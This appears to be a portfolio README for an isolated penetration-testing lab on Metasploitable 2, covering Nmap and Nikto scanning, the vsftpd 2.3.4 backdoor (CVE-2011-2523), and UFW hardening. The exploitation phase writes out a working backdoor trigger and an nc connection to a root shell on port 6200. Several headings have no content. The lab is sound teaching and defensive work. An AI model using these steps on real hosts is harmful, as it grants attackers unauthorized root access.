📋 Overview

This lab simulates a real-world penetration test and defensive hardening exercise in a fully isolated virtual environment. It demonstrates the full offensive security lifecycle — from reconnaissance to exploitation — and the defensive controls that would mitigate each risk.

Key outcome: Achieved full root access on the target machine in under 60 seconds by exploiting a known backdoor, with no credentials and no special tools.

🏗 Lab Environment

🎯 Methodology

Reconnaissance  →  Scanning  →  Exploitation  →  Defense & Hardening

🔍 Phase 1 — Reconnaissance

Port Scanning with Nmap

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

Key findings — 23 open ports total:

Web Scanning with Nikto

nikto -h http://192.168.148.130 -o nikto_before.txt

18 vulnerabilities found, including:

• phpMyAdmin exposed publicly
• phpinfo.php leaking full server config
• HTTP TRACE enabled (XST attacks)
• Directory indexing enabled on /doc/, /test/
• Outdated Apache 2.2.8 and PHP 5.2.4

💥 Phase 2 — Exploitation

CVE-2011-2523 — vsftpd 2.3.4 Backdoor

vsftpd 2.3.4 contains a backdoor introduced via a supply-chain compromise. Sending a username ending in :) causes the server to open a root shell on port 6200.

# Step 1 — Trigger the backdoor via FTP
ftp 192.168.148.130
# Username: backdoor:)   Password: anything

# Step 2 — Connect to the spawned shell
nc 192.168.148.130 6200

# Step 3 — Verify access
whoami
# → root

Result: Full root-level system access achieved in < 60 seconds — no credentials, no exploit framework required.

Impact: An attacker with root access can read/modify/delete any file, install malware, exfiltrate data, or pivot to other hosts on the network.

🛡 Phase 3 — Defense & Hardening

UFW Firewall — Default Deny Policy

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSH only
sudo ufw status verbose

Recommended Remediations

📄 Full Report

See report.md for the complete assessment — full methodology, command outputs, findings table, exploitation steps, and all remediation recommendations.

⚠️ Legal Disclaimer

This lab was conducted in a fully isolated virtual environment using intentionally vulnerable software (Metasploitable 2). All techniques are for educational and portfolio purposes only. Do not replicate on systems you do not own or have explicit written permission to test.

🛠 Tools Used